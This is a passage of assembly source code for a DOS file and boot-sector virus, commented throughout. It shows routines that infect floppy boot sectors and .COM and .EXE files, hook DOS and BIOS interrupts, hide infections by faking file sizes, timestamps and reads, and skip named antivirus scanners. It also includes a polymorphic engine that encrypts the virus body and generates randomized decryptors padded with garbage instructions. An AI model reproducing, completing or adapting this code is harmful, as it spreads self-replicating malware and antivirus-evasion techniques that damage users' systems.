ptr es:[bx+00h],0EBh + jne exit_disk +;Check if infected + call get_position + cmp word ptr es:[di+boot_marker-boot_code],"RC" + jne not_infected + jmp stealth_boot +not_infected: +;Check for mbr marker also in floppy + cmp word ptr es:[bx+01FEh],0AA55h + je floppy_infection +exit_disk: + call pop_all + stc + cmc + retf 2 +;Calculate track and head for floppy +floppy_infection: +;Get sectors per track + mov ax,word ptr es:[bx+18h] + mov cx,ax +;Cut one track for virus body + sub word ptr es:[bx+13h],ax + mov ax,word ptr es:[bx+13h] + xor dx,dx +;Divide total sectors by sectors per track + div cx + xor dx,dx +;Get heads parameter + mov cx,word ptr es:[bx+1Ah] + push cx +;Divide tracks by heads + div cx + push ax + xchg ah,al + mov cl,06h + shl al,cl + or al,01h +;Save virus body position in floopy + mov word ptr cs:[load_cx],ax + pop ax + pop cx + xor dx,dx + div cx + mov byte ptr cs:[load_dh],dl +;Use floppy root directory for old boot sector + mov cx,000Eh + mov dx,0100h +;Write original boot sector + mov ax,0301h + pushf + call dword ptr cs:[old13h] + jc exit13h_inf +ok_original: +;Move virus loader into boot sector + push cs + pop ds + mov si,offset boot_code + mov cx,boot_size + cld + rep movsb +write_boot: +;Reset disk controler + xor ax,ax + pushf + call dword ptr cs:[old13h] ;************old13h] +;Write loader + mov ax,0301h + xor dx,dx + mov cx,0001h + pushf + call dword ptr cs:[old13h] ;+++++++++++old13h] + jnc ok_loader +exit13h_inf: + call pop_all + stc + cmc + retf 2 +ok_loader: +;Set boot flag + mov byte ptr cs:[prog_type],"B" +;Perform encryption + call do_encrypt + push cs + pop es +;Write virus body + mov cx,word ptr cs:[load_cx] + mov dh,byte ptr cs:[load_dh] + mov bx,offset virus_copy + mov ax,0300h+sector_size + pushf + call dword ptr cs:[old13h] ;+++++++++++++old13h] +;Hide changes made to boot sector +stealth_boot: + call pop_all + mov cl,03h + mov al,01h + mov cl,0Eh + mov dh,01h + jmp dword ptr cs:[old13h] +;---------------------------------------------------------------------------- +;Code inserted into boot sector +;---------------------------------------------------------------------------- +boot_code: + cli + xor ax,ax + mov ss,ax + mov es,ax + mov ds,ax + mov si,7C00h + mov sp,si + sti +;Allocate some BIOS memory + sub word ptr ds:[0413h],(lenvir/512)+1 + mov ax,word ptr ds:[0413h] +;Calculate residence address + mov cl,06h + shl ax,cl + mov es,ax +;Reset disk + xor ax,ax + int 13h +;Get position in disk +;mov cx,XXXXh + db 0B9h +load_cx dw 0000h +;mov dh,XXh + db 0B6h +load_dh db 00h +;Prepare for reading virus body +try_again: + mov ax,0200h+sector_size +;Read at es:bx + xor bx,bx +;Read virus body into allocated memory + int 13h + jc error_init +;Continue execution on virus body + push es + push bx + retf +;Error during virus initialization +error_init: + int 18h +;---------------------------------------------------------------------------- +;Infection marker +;---------------------------------------------------------------------------- +boot_marker db "CR" +;End of boot code +boot_end: +;---------------------------------------------------------------------------- +;Virus int 21h +;---------------------------------------------------------------------------- +my_int21h: + call push_all +;Set int 21h running switch + mov byte ptr cs:[running_sw],"F" +;Anti-heuristic function number examination + xor ax,0FFFFh + mov word ptr cs:[dos_function],ax +;Save old int 24h + mov al,24h + call get_int + mov word ptr cs:[old24h_seg],es + mov word ptr cs:[old24h_off],bx +;Hook int 24h to a do-nothing handler + push cs + pop ds + mov dx,offset my_int24h + mov al,24h + call set_int +;Save old int 03h + mov al,03h + call get_int + mov word ptr cs:[old03h_seg],es + mov word ptr cs:[old03h_off],bx +;Hook int 03h to original int 21h + lds dx,dword ptr cs:[old21h] + mov al,03h + call set_int +;Check for special files + mov ah,51h ;62h? + int 03h + dec bx + mov ds,bx + mov ax,word ptr ds:[0008h] + mov byte ptr cs:[stealth_sw],00h +;Check if arj is running + cmp ax,"RA" + je disable_stealth +;Check for pkzip utils + cmp ax,"KP" + je disable_stealth +;Check for lha + cmp ax,"HL" + je disable_stealth +;Check for backup + cmp ax,"AB" + je disable_stealth + jmp no_running +disable_stealth: + mov byte ptr cs:[stealth_sw],0FFh +no_running: +;Restore and re-save all regs + call pop_all + call push_all +;Put function number into bx + mov bx,word ptr cs:[dos_function] +;---------------------------------------------------------------------------- +;Infection functions +;---------------------------------------------------------------------------- +infection_00: +;Exec function + cmp bx,(4B00h xor 0FFFFh) + jne infection_01 + jmp dos_exec +infection_01: +;Close file (Handle) + cmp bh,(3Eh xor 0FFh) + jne stealth_dos + jmp dos_close +;---------------------------------------------------------------------------- +;Stealth functions +;---------------------------------------------------------------------------- +stealth_dos: +;Check if stealth is disabled + cmp byte ptr cs:[stealth_sw],0FFh + je m21h_exit +;Open file (Handle) + cmp bh,(3Dh xor 0FFh) + jne stealth_00 + jmp dos_open +stealth_00: +;Extended open + cmp bh,(6Ch xor 0FFh) + jne stealth_01 + jmp dos_open +stealth_01: +;Directory stealth works with function Findfirst (fcb) + cmp bh,(11h xor 0FFh) + jne stealth_02 + jmp ff_fcb +stealth_02: +;Directory stealth works also with function Findnext(fcb) + cmp bh,(12h xor 0FFh) + jne stealth_03 + jmp ff_fcb +stealth_03: +;Search stealth works with Findfirst (handle) + cmp bh,(4Eh xor 0FFh) + jne stealth_04 + jmp ff_handle +stealth_04: +;Search stealth works also with Findnext (handle) + cmp bh,(4Fh xor 0FFh) + jne stealth_05 + jmp ff_handle +stealth_05: +;Read stealth + cmp bh,(3Fh xor 0FFh) + jne stealth_06 + jmp dos_read +stealth_06: +;Disinfect if debuggers exec + cmp bx,(4B01h xor 0FFFFh) + jne stealth_07 + jmp dos_load_exec +stealth_07: +;Disinfect if file write + cmp bh,(40h xor 0FFh) + jne stealth_08 + jmp dos_write +stealth_08: +;Get file date/time + cmp bx,(5700h xor 0FFFFh) + jne stealth_09 + jmp dos_get_time +stealth_09: +;Set file date/time + cmp bx,(5701h xor 0FFFFh) + jne m21h_exit + jmp dos_set_time +;Get control back to dos +m21h_exit: +;Free int 03h and int 24h + call unhook_ints + call pop_all + jmp dword ptr cs:[old21h] +;---------------------------------------------------------------------------- +;Directory stealth with functions 11h and 12h (fcb) +;---------------------------------------------------------------------------- +ff_fcb: + call pop_all +;Call DOS service + int 03h +;Save all regs + call push_all +;Check for errors + cmp al,255 + je nofound_fcb +;Get current PSP + mov ah,51h + int 03h +;Check if call comes from DOS + mov es,bx + cmp bx,es:[16h] + jne nofound_fcb + mov bx,dx + mov al,ds:[bx+00h] + push ax +;Get DTA + mov ah,2Fh + int 03h + pop ax + inc al + jnz fcb_ok + add bx,07h +fcb_ok: +;Check if infected + mov ax,word ptr es:[bx+17h] + and al,1Fh + cmp al,1Fh + jne nofound_fcb +;Restore seconds + and byte ptr es:[bx+17h],0E0h +;Restore original file size + sub word ptr es:[bx+1Dh],lenvir + sbb word ptr es:[bx+1Fh],0000h +nofound_fcb: +;Restore some registers and return + call unhook_ints + call pop_all + iret +;---------------------------------------------------------------------------- +;Search stealth with functions 4Eh and 4Fh (handle) +;---------------------------------------------------------------------------- +ff_handle: + call pop_all +;Call DOS service + int 03h + jnc ffhok + call unhook_ints + stc + retf 2 +ffhok: +;Save result + call push_all +;Get DTA + mov ah,2Fh + int 03h +;Check if infected + mov ax,word ptr es:[bx+16h] + and al,1Fh + cmp al,1Fh + jne nofound_handle +;Restore seconds field + and byte ptr es:[bx+16h],0E0h +;Restore original size + sub word ptr es:[bx+1Ah],lenvir + sbb word ptr es:[bx+1Ch],0000h +nofound_handle: +;Restore some registers and exit + call unhook_ints + call pop_all + stc + cmc + retf 2 +;---------------------------------------------------------------------------- +;Load exec +;---------------------------------------------------------------------------- +dos_load_exec: +;Open file for read-only + mov ax,3D00h + int 03h + jnc loaded + jmp m21h_exit +loaded: + xchg bx,ax + jmp do_disinfect +;---------------------------------------------------------------------------- +;Write file +;---------------------------------------------------------------------------- +dos_write: + call pop_all + call push_all +do_disinfect: +;Get sft address in es:di + call get_sft + jc bad_operation +;Check if file is already infected + mov al,byte ptr es:[di+0Dh] + mov ah,1Fh + and al,ah + cmp al,ah + je clear_header +bad_operation: + jmp load_error +clear_header: +;Save and set file open mode (read/write) + mov cx,0002h + xchg cx,word ptr es:[di+02h] + push cx +;Save and set file attribute + xor al,al + xchg al,byte ptr es:[di+04h] + push ax +;Save and set file pointer position + push word ptr es:[di+15h] + push word ptr es:[di+17h] +;Get file true size if write operation + cmp byte ptr cs:[dos_function+01h],(40h xor 0FFh) + jne no_size_fix +;Add virus size to file size + add word ptr es:[di+11h],lenvir + adc word ptr es:[di+13h],0000h +no_size_fix: +;Point to old header in file + call seek_end + sub word ptr es:[di+15h],0019h+01h + sbb word ptr es:[di+17h],0000h +;Read old header and encryption key + push cs + pop ds + mov ah,3Fh + mov cx,0019h+01h + mov dx,offset virus_copy + int 03h + jc exit_disin +;Decrypt header + mov cx,0019h + push dx + pop si + mov al,byte ptr cs:[si+19h] +restore_header: + xor byte ptr cs:[si+00h],al + inc si + loop restore_header +;Write old header + call seek_begin + mov dx,offset virus_copy + mov ah,40h + mov cx,0019h-01h + int 03h +;Truncate file + call seek_end + sub word ptr es:[di+15h],lenvir + sbb word ptr es:[di+17h],0000h + xor cx,cx + mov ah,40h + int 03h +exit_disin: +;Restore file pointer position + pop word ptr es:[di+17h] + pop word ptr es:[di+15h] +;Restore file attribute + pop ax + mov byte ptr es:[di+04h],al +;Restore file open mode + pop word ptr es:[di+02h] +;Do not set file date and file time on closing + or byte ptr es:[di+06h],40h +;Clear seconds field + and byte ptr es:[di+0Dh],0E0h +load_error: +;Check if write function + cmp byte ptr cs:[dos_function+01h],(40h xor 0FFh) + je not_load +;Close file + mov ah,3Eh + int 03h +not_load: + jmp m21h_exit +;---------------------------------------------------------------------------- +;Get file date/time +;---------------------------------------------------------------------------- +dos_get_time: + call pop_all +;Call function + int 03h + jnc ok_get_time +;Exit if error + call unhook_ints + stc + retf 2 +ok_get_time: + call push_all +;Check if file is already infected + mov al,cl + mov ah,1Fh + and al,ah + cmp al,ah + jne no_get_time + call pop_all + and cl,0E0h + jmp short exit_get_time +no_get_time: + call pop_all +exit_get_time: + call unhook_ints + stc + cmc + retf 2 +;---------------------------------------------------------------------------- +;Set file date/time +;---------------------------------------------------------------------------- +dos_set_time: + call pop_all + call push_all +;Get address of sft entry + call get_sft + jc no_set_time +;Check if file is already infected + mov al,byte ptr es:[di+0Dh] + mov ah,1Fh + and al,ah + cmp al,ah + je ok_set_time +no_set_time: +;Exit if not infected or error + jmp m21h_exit +ok_set_time: +;Perform time change but restore our marker + call pop_all + or cl,1Fh + call push_all + jmp m21h_exit +;---------------------------------------------------------------------------- +;Open file +;---------------------------------------------------------------------------- +dos_open: +;Call dos function + call pop_all + int 03h + jnc do_open +open_fail: + call unhook_ints + stc + retf 2 +do_open: + call push_all +;Get sft for file handle + xchg bx,ax + call get_sft + jc no_changes +;Check if file is infected + mov al,byte ptr es:[di+0Dh] + mov ah,1Fh + and al,ah + cmp al,ah + jne no_changes +;If infected stealth true size + sub word ptr es:[di+11h],lenvir + sbb word ptr es:[di+13h],0000h +no_changes: + call unhook_ints + call pop_all + stc + cmc + retf 2 +;---------------------------------------------------------------------------- +;Read file +;---------------------------------------------------------------------------- +dos_read: +;Restore function entry regs + call pop_all + call push_all +;Duplicate handle + mov ah,45h + int 03h + jc no_read_stealth + xchg bx,ax + push ax +;Close new handle in order to update directory entry + mov ah,3Eh + int 03h + pop bx +;Get address of sft entry + call get_sft + jc no_read_stealth +;Check if file is already infected + mov al,byte ptr es:[di+0Dh] + mov ah,1Fh + and al,ah + cmp al,ah + jne no_read_stealth +;Check and save current offset in file + mov ax,word ptr es:[di+15h] + cmp ax,0019h + jae no_read_stealth + cmp word ptr es:[di+17h],0000h + jne no_read_stealth + mov word ptr cs:[file_offset],ax + call pop_all +;Save address of read buffer + mov word ptr cs:[read_off],dx + mov word ptr cs:[read_seg],ds +;Perform read operation + int 03h + jnc check_read +;Error during file read + call unhook_ints + stc + retf 2 +no_read_stealth: +;Exit if no read stealth + jmp m21h_exit +check_read: + call push_all + call get_sft +;Save offset position + push word ptr es:[di+15h] + push word ptr es:[di+17h] +;Save file size + push word ptr es:[di+11h] + push word ptr es:[di+13h] +;Add virus size to file size + add word ptr es:[di+11h],lenvir + adc word ptr es:[di+13h],0000h +;Point to old header in file + call seek_end + sub word ptr es:[di+15h],0019h+01h + sbb word ptr es:[di+17h],0000h +;Read old header and encryption key + push cs + pop ds + mov ah,3Fh + mov cx,0019h+01h + mov dx,offset virus_copy + int 03h + jc exit_read +;Decrypt header + mov cx,0019h + push dx + pop si + mov al,byte ptr cs:[si+19h] +decrypt_header: + xor byte ptr cs:[si+00h],al + inc si + loop decrypt_header +;Move old header into read buffer + les di,dword ptr cs:[read_ptr] + mov si,offset virus_copy + mov cx,0019h-01h + mov ax,word ptr cs:[file_offset] + add di,ax + add si,ax + sub cx,ax + cld + rep movsb +exit_read: + call get_sft +;Restore file size + pop word ptr es:[di+13h] + pop word ptr es:[di+11h] +;Restore old offset in file + pop word ptr es:[di+17h] + pop word ptr es:[di+15h] +;Restore regs and exit + call unhook_ints + call pop_all + stc + cmc + retf 2 +;---------------------------------------------------------------------------- +;Infect file at execution ds:dx ptr to filename +;---------------------------------------------------------------------------- +dos_exec: +;Open file for read-only + mov ax,3D00h + int 03h + jnc ok_file_open + jmp file_error +ok_file_open: + xchg bx,ax + jmp short from_open +;---------------------------------------------------------------------------- +;Infect file at close +;---------------------------------------------------------------------------- +dos_close: + call pop_all + call push_all +;Duplicate handle + mov ah,45h + int 03h + jc file_error + xchg bx,ax + push ax +;Close new handle in order to update directory entry + mov ah,3Eh + int 03h + pop bx +from_open: +;Get sft address in es:di + call get_sft + jc file_error +;Check device info word + mov ax,word ptr es:[di+05h] +;Check if character device handle + test al,80h + jnz file_error +;Check if remote file handle + test ah,0Fh + jnz file_error +;Check if file is already infected + mov al,byte ptr es:[di+0Dh] + mov ah,1Fh + and al,ah + cmp al,ah + je file_error +;Do not infect files with todays date + mov al,byte ptr es:[di+0Fh] + and al,1Fh + cmp al,byte ptr cs:[today] + je file_error +;Check file name in sft + mov cx,0Bh + mov si,di +name_loop: +;Do not infect files with numbers in their file name + cmp byte ptr es:[si+20h],"0" + jb file_name1 + cmp byte ptr es:[si+20h],"9" + jbe file_error +file_name1: +;Do not infect files witch name contains v's + cmp byte ptr es:[si+20h],"V" + je file_error +;Do not infect files with mo in their name + inc si + loop name_loop +;Get first pair + mov ax,word ptr es:[di+20h] +;Do not infect Thunderbyte antivirus utils + cmp ax,"BT" + je file_error +;Do not infect McAfee's Scan + cmp ax,"CS" + je file_error +;Do not infect F-Prot scanner + cmp ax,"-F" + je file_error +;Do not infect Solomon's Guard + cmp ax,"UG" + jne file_infection +file_error: + jmp m21h_exit +file_infection: +;Save and set file open mode (read/write) + mov cx,0002h + xchg cx,word ptr es:[di+02h] + push cx +;Save and set file attribute + xor al,al + xchg al,byte ptr es:[di+04h] + push ax + test al,04h + jnz system_file +;Save and set file pointer position + push word ptr es:[di+15h] + push word ptr es:[di+17h] + call seek_begin +;Read first 20h bytes + push cs + pop ds + mov ah,3Fh + mov cx,0020h + mov dx,offset file_buffer + int 03h +;Seek to end of file and get file size + call seek_end +;Do not infect too small .exe or .com files + or dx,dx + jnz ok_min_size + cmp ax,lenvir+0410h + jbe exit_inf +ok_min_size: +;Check for .com extension + cmp word ptr es:[di+28h],"OC" + jne no_com + cmp byte ptr es:[di+2Ah],"M" + je inf_com +no_com: +;Check for .exe mark in file header + mov cx,word ptr cs:[file_buffer+00h] +;Add markers M+Z + add cl,ch + cmp cl,"Z"+"M" + jne exit_inf +;Check for .exe extension + cmp word ptr es:[di+28h],"XE" + jne exit_inf + cmp byte ptr es:[di+2Ah],"E" + jne exit_inf + jmp inf_exe +;---------------------------------------------------------------------------- +;Exit from file infection +;---------------------------------------------------------------------------- +exit_inf: +;Restore file pointer position + pop word ptr es:[di+17h] + pop word ptr es:[di+15h] +system_file: +;Restore file attribute + pop ax + mov byte ptr es:[di+04h],al +;Restore file open mode + pop word ptr es:[di+02h] +;Do not set file date/time on closing + or byte ptr es:[di+06h],40h +;Check if close function + cmp byte ptr cs:[dos_function+01h],(3Eh xor 0FFh) + je no_close_file +;Close file + mov ah,3Eh + int 03h +no_close_file: + jmp m21h_exit +;---------------------------------------------------------------------------- +;Infect .COM file +;---------------------------------------------------------------------------- +inf_com: +;Don't infect too big .com files + cmp ax,0FFFFh-(lenvir+10h) + jae exit_inf +;Copy header + call copy_header +;Get file length as entry point + sub ax,03h +;Write a jump to virus into header + mov byte ptr cs:[file_buffer+00h],0E9h + mov word ptr cs:[file_buffer+01h],ax +;Set .com marker + mov byte ptr cs:[prog_type],"C" +;Encrypt and infect + jmp get_control +;---------------------------------------------------------------------------- +;Infect .EXE file +;---------------------------------------------------------------------------- +inf_exe: +;Don't infect Windows programs + cmp word ptr cs:[file_buffer+18h],0040h + jae bad_exe +;Don't infect overlays + cmp word ptr cs:[file_buffer+1Ah],0000h + jne bad_exe +;Check maxmem field + cmp word ptr cs:[file_buffer+0Ch],0FFFFh + jne bad_exe +;Save file size + push ax + push dx +;Page ends on 0200h boundary + mov cx,0200h + div cx + or dx,dx + jz no_round_1 + inc ax +no_round_1: + cmp ax,word ptr cs:[file_buffer+04h] + jne no_fit_size + cmp dx,word ptr cs:[file_buffer+02h] + je header_ok +no_fit_size: + pop dx + pop ax +bad_exe: +;Exit if cant infect .exe + jmp exit_inf +header_ok: + call copy_header + pop dx + pop ax + push ax + push dx + mov cx,10h + div cx + sub ax,word ptr cs:[file_buffer+08h] +;Store new entry point + mov word ptr cs:[file_buffer+14h],dx + mov word ptr cs:[file_buffer+16h],ax +;Store new stack position + add dx,lenvir+0410h + and dx,0FFFEh + inc ax + mov word ptr cs:[file_buffer+0Eh],ax + mov word ptr cs:[file_buffer+10h],dx +;Restore size + pop dx + pop ax +;Add virus size to file size + add ax,lenvir + adc dx,0000h +;Page ends on 0200h boundary + mov cx,0200h + div cx + or dx,dx + jz no_round_2 + inc ax +no_round_2: +;Store new size + mov word ptr cs:[file_buffer+04h],ax + mov word ptr cs:[file_buffer+02h],dx +;Set .exe marker + mov byte ptr cs:[prog_type],"E" +;Encryption an infection continues on next routine +;---------------------------------------------------------------------------- +;Encryption and physical infection +;---------------------------------------------------------------------------- +get_control: + call do_encrypt +;Write virus body to the end of file + mov ah,40h + mov cx,lenvir + mov dx,offset virus_copy + int 03h + jc no_good_write +;Seek to beginning of file + call seek_begin +;Write new header + mov ah,40h + mov cx,0019h-01h + mov dx,offset file_buffer + int 03h +;Mark file as infected + or byte ptr es:[di+0Dh],1Fh +no_good_write: +;Jump to infection end + jmp exit_inf +;---------------------------------------------------------------------------- +;Encrypt virus body with variable key and generate a +;polymorphic decryptor. +;---------------------------------------------------------------------------- +do_encrypt: + call push_all +;Initialize engine + xor ax,ax + mov word ptr cs:[last_subroutine],ax + mov word ptr cs:[decrypt_sub],ax + mov word ptr cs:[last_fill_type],ax + dec ax + mov word ptr cs:[last_step_type],ax + mov byte ptr cs:[last_int_type],al + mov byte ptr cs:[decrypt_pointer],al +;Choose counter and pointer register + call get_rnd + and al,01h + mov byte ptr cs:[address_register],al +;Choose register for decryption instructions + call get_rnd + and al,38h + mov byte ptr cs:[decrypt_register],al +;Chose segment registers for memory operations + call get_seg_reg + mov byte ptr cs:[address_seg_1],al + call get_seg_reg + mov byte ptr cs:[address_seg_2],al +;Fill our buffer with garbage + mov ax,cs + mov ds,ax + mov es,ax + mov di,offset virus_copy + push di + mov cx,decryptor + cld +fill_garbage: + call get_rnd + stosb + loop fill_garbage + pop di +;Now es:di points to the buffer were engine put polymorphic code +choose_type: +;Select the type of filler + mov ax,(end_step_table-step_table)/2 + call rand_in_range +;Avoid same types in a row + cmp ax,word ptr cs:[last_step_type] + je choose_type + mov word ptr cs:[last_step_type],ax + add ax,ax + mov bx,ax + cld + call word ptr cs:[step_table+bx] + cmp byte ptr cs:[decrypt_pointer],05h + jne choose_type +;Generate some garbage + call rnd_garbage +;Generate a jump to virus body + mov al,0E9h + stosb + mov ax,decryptor + mov bx,di + sub bx,offset virus_copy-02h + sub ax,bx + stosw +;Store random crypt value +get_rnd_key: + call get_rnd + or al,al + jz get_rnd_key + xchg bx,ax + mov byte ptr cs:[clave_crypt],bl +;Copy virus body to the working area while encrypt + mov si,offset virus_body + mov di,offset virus_copy+decryptor + mov cx,lenvir-decryptor-01h + cld +load_crypt: + lodsb + xor al,bl + stosb + loop load_crypt +;Store key without encryption + movsb +;Restore all regs and return to infection routine + call pop_all + ret +;----------------------------------------------------------------------------- +;Get a valid opcode for memory operations +;----------------------------------------------------------------------------- +get_seg_reg: + cmp byte ptr cs:[prog_type],"C" + je use_ds_es + mov al,2Eh + ret +use_ds_es: + call get_rnd + and al,18h + cmp al,10h + je get_seg_reg + or al,26h + ret +;----------------------------------------------------------------------------- +;Generate next decryptor instruction +;----------------------------------------------------------------------------- +next_decryptor: +;Next instruction counter + inc byte ptr cs:[decrypt_pointer] +;Check if there is a subroutine witch contains next decryptor instruction + cmp word ptr cs:[decrypt_sub],0000h + je build_now +;If so build a call instruction to that subroutine + call do_call_decryptor + ret +build_now: +;Else get next instruction to build + mov bl,byte ptr cs:[decrypt_pointer] +;Generate decryption instructions just into subroutines + cmp bl,03h + jne entry_from_sub +;No instruction was created so restore old pointer + dec byte ptr cs:[decrypt_pointer] + ret +entry_from_sub: +;Entry point if calling from decryptor subroutine building + xor bh,bh + add bx,bx +;Build instruction + call word ptr cs:[instruction_table+bx] + ret +;----------------------------------------------------------------------------- +;Get delta offset +;----------------------------------------------------------------------------- +inst_get_delta: +;Decode a call to next instruction and pop bp + push di + mov ax,00E8h + stosw + mov ax,5D00h + stosw +;Generate some garbage + call rnd_garbage +;Decode a sub bp + mov ax,0ED81h + stosw +;Store address of label + pop ax + sub ax,offset virus_copy-0103h +no_sub_psp: + stosw + ret +;----------------------------------------------------------------------------- +;Load counter register +;----------------------------------------------------------------------------- +inst_load_counter: + mov al,0BEh + add al,byte ptr cs:[address_register] + stosb +;Store size of encrypted data + mov ax,lenvir-decryptor-01h + stosw + ret +;----------------------------------------------------------------------------- +;Load pointer to encrypted data +;----------------------------------------------------------------------------- +inst_load_pointer: +;Load di as pointer + mov al,0BFh + sub al,byte ptr cs:[address_register] + stosb +;Store offset position of encrypted data + mov ax,offset virus_body + stosw +;Generate garbage in some cases + call rnd_garbage +;Generate add reg,bp + mov ch,byte ptr cs:[address_register] + mov cl,03h + rol ch,cl + mov ax,0FD03h + sub ah,ch + stosw + ret +;----------------------------------------------------------------------------- +;Decrypt one byte from encrypted data +;----------------------------------------------------------------------------- +inst_decrypt_one: +;Decode a mov reg,byte ptr cs:[key][bp] + mov al,byte ptr cs:[address_seg_1] + mov ah,8Ah + stosw + mov al,byte ptr cs:[decrypt_register] + or al,86h + stosb +;Store position of encryption key + mov ax,offset clave_crypt + stosw +;Decode a xor byte ptr cs:[si],reg + mov al,byte ptr cs:[address_seg_2] + mov ah,30h + stosw + mov al,byte ptr cs:[decrypt_register] + or al,05h + sub al,byte ptr cs:[address_register] + stosb + ret +;----------------------------------------------------------------------------- +;Increment pointer to encrypted zone +;----------------------------------------------------------------------------- +inst_inc_pointer: + mov al,47h + sub al,byte ptr cs:[address_register] + stosb + ret +;----------------------------------------------------------------------------- +;Decrement counter and loop +;----------------------------------------------------------------------------- +inst_dec_loop: +;Decode a dec reg instruction + mov al,4Eh + add al,byte ptr cs:[address_register] + stosb +;Decode a jz + mov al,74h + stosb + push di + inc di +;Generate some garbage instructions + call rnd_garbage +;Decode a jmp to loop instruction + mov al,0E9h + stosb + mov ax,word ptr cs:[address_loop] + sub ax,di + dec ax + dec ax + stosw +;Generate some garbage instructions + call rnd_garbage +;Store jz displacement + mov ax,di + pop di + push ax + sub ax,di + dec ax + stosb + pop di + ret +;----------------------------------------------------------------------------- +;Generate some garbage instructions if rnd +;----------------------------------------------------------------------------- +rnd_garbage: + call get_rnd + and al,01h + jz do_rnd_garbage + ret +do_rnd_garbage: + call g_generator + ret +;----------------------------------------------------------------------------- +;Generate a push reg and garbage and pop reg +;----------------------------------------------------------------------------- +do_push_g_pop: +;Build a random push pop + call do_push_pop +;Get pop instruction + dec di + mov al,byte ptr cs:[di+00h] + push ax + call g_generator + pop ax + stosb + ret +;----------------------------------------------------------------------------- +;Generate a subroutine witch contains garbage code. +;----------------------------------------------------------------------------- +do_subroutine: + cmp word ptr cs:[last_subroutine],0000h + je create_routine + ret +create_routine: +;Generate a jump instruction + mov al,0E9h + stosb +;Save address for jump construction + push di +;Save address of subroutine + mov word ptr cs:[last_subroutine],di +;Get subroutine address + inc di + inc di +;Generate some garbage code + call g_generator +;Insert ret instruction + mov al,0C3h + stosb +;Store jump displacement + mov ax,di + pop di + push ax + sub ax,di + dec ax + dec ax + stosw + pop di + ret +;----------------------------------------------------------------------------- +;Generate a subroutine witch contains one decryptor instruction +;----------------------------------------------------------------------------- +sub_decryptor: + cmp word ptr cs:[decrypt_sub],0000h + je ok_subroutine + ret +ok_subroutine: +;Do not generate the loop branch into a subroutine + mov bl,byte ptr cs:[decrypt_pointer] + inc bl + cmp bl,05h + jne no_loop_sub + ret +no_loop_sub: +;Generate a jump instruction + mov al,0E9h + stosb +;Save address for jump construction + push di +;Save address of subroutine + mov word ptr cs:[decrypt_sub],di + inc di + inc di + push bx + call rnd_garbage + pop bx + call entry_from_sub + call rnd_garbage +build_return: +;Insert ret instruction + mov al,0C3h + stosb +;Store jump displacement + mov ax,di + pop di + push ax + sub ax,di + dec ax + dec ax + stosw + pop di + ret +;----------------------------------------------------------------------------- +;Generate a call instruction to a subroutine witch contains +;next decryptor instruction +;----------------------------------------------------------------------------- +do_call_decryptor: + cmp byte ptr cs:[decrypt_pointer],03h + jne no_store_call +;Save position + mov word ptr cs:[address_loop],di +no_store_call: +;Build a call to our subroutine + mov al,0E8h + stosb + mov ax,word ptr cs:[decrypt_sub] + sub ax,di + stosw +;Do not use this subrotine again + mov word ptr cs:[decrypt_sub],0000h + ret +;----------------------------------------------------------------------------- +;Generate a call instruction to a subroutine witch some garbage code +;----------------------------------------------------------------------------- +do_call_garbage: + mov cx,word ptr cs:[last_subroutine] +;Check if there is a subroutine to call + or cx,cx + jnz ok_call +;No, so exit + ret +ok_call: +;Build a call to our garbage subroutine + mov al,0E8h + stosb + mov ax,cx + sub ax,di + stosw +;Do not use this subrotine again + mov word ptr cs:[last_subroutine],0000h + ret +;----------------------------------------------------------------------------- +;Generate a branch followed by some garbage code +;----------------------------------------------------------------------------- +do_branch: +;Generate a random conditional jump instruction + call get_rnd + and al,07h + or al,70h + stosb +;Save address for jump construction + push di +;Get subroutine address + inc di +;Generate some garbage code + call g_generator +;Store jump displacement + mov ax,di + pop di + push ax + sub ax,di + dec ax + stosb + pop di + ret +;----------------------------------------------------------------------------- +;Lay down between 2 and 5 filler opcodes selected from the available +;types +;----------------------------------------------------------------------------- +g_generator: +;Get a random number for fill count + call get_rnd + and ax,03h +;Min 2, max 5 opcodes + inc ax + inc ax +next_fill: + push ax +new_fill: +;Select the type of filler + mov ax,(end_op_table-op_table)/2 + call rand_in_range +;Avoid same types in a row + cmp ax,word ptr cs:[last_fill_type] + je new_fill + mov word ptr cs:[last_fill_type],ax + add ax,ax + mov bx,ax + call word ptr cs:[op_table+bx] + pop ax + dec ax + jnz next_fill + ret +;----------------------------------------------------------------------------- +;Makes an opcode of type mov reg,immediate value +;either 8 or 16 bit value +;but never ax or al or sp,di,si or bp +;----------------------------------------------------------------------------- +move_imm: + call get_rnd +;Get a reggie + and al,0Fh +;Make it a mov reg, + or al,0B0h + test al,00001000b + jz is_8bit_mov +;Make it ax,bx cx or dx + and al,11111011b + mov ah,al + and ah,03h +;Not ax or al + jz move_imm + stosb + call rand_16 + stosw + ret +is_8bit_mov: + mov bh,al +;Is al? + and bh,07h +;Yeah bomb + jz move_imm + stosb + call get_rnd + stosb + ret +;----------------------------------------------------------------------------- +;Now we knock boots with mov reg,reg's +;but never to al or ax. +;----------------------------------------------------------------------------- +move_with_reg: + call rand_16 +;Preserve reggies and 8/16 bit + and ax,0011111100000001b +;Or it with addr mode and make it mov + or ax,1100000010001010b +reg_test: + test al,1 + jz is_8bit_move_with_reg +;Make source and dest = ax,bx,cx,dx + and ah,11011011b +is_8bit_move_with_reg: + mov bl,ah + and bl,00111000b +;No mov ax, 's please + jz move_with_reg +;Let's see if 2 reggies are same reggies. + mov bh,ah + sal bh,1 + sal bh,1 + sal bh,1 + and bh,00111000b +;Check if reg,reg are same + cmp bh,bl + jz move_with_reg + stosw + ret +;----------------------------------------------------------------------------- +;Modify a mov reg,reg into an xchg reg,reg +;----------------------------------------------------------------------------- +reg_exchange: +;Make a mov reg,reg + call move_with_reg +;But then remove it + dec di +;And take advantage of the fact the opcode is still in ax + dec di +;Was a 16 bit type? + test al,1b +;Yeah go for an 8 bitter + jnz reg_exchange + mov bh,ah +;Is one of reggies ax? + and bh,07h +;Yah so bomb + jz reg_exchange +;Else make it xchg ah,dl etc... + mov al,10000110b + stosw + ret +;----------------------------------------------------------------------------- +;We don't have to watch our stack if we pair up pushes with pops +;so I slapped together this peice of shoddy work to add em. +;----------------------------------------------------------------------------- +do_push_pop: + mov ax,(end_bytes_2-bytes_2)/2 + call rand_in_range + add ax,ax + mov bx,ax +;Generate push and pop instruction + mov ax,word ptr cs:[bytes_2+bx] + stosw + ret +;----------------------------------------------------------------------------- +;Generate a random int 21h call. +;----------------------------------------------------------------------------- +do_int_21h: +;Do not generate int 21h calls into boot sectore decryptor + cmp byte ptr cs:[prog_type],"B" + je no_generate_int +;Do not generate int 21h calls into decryption loop + cmp byte ptr cs:[decrypt_pointer],02h + jb no_in_loop +no_generate_int: + ret +no_in_loop: + call get_rnd 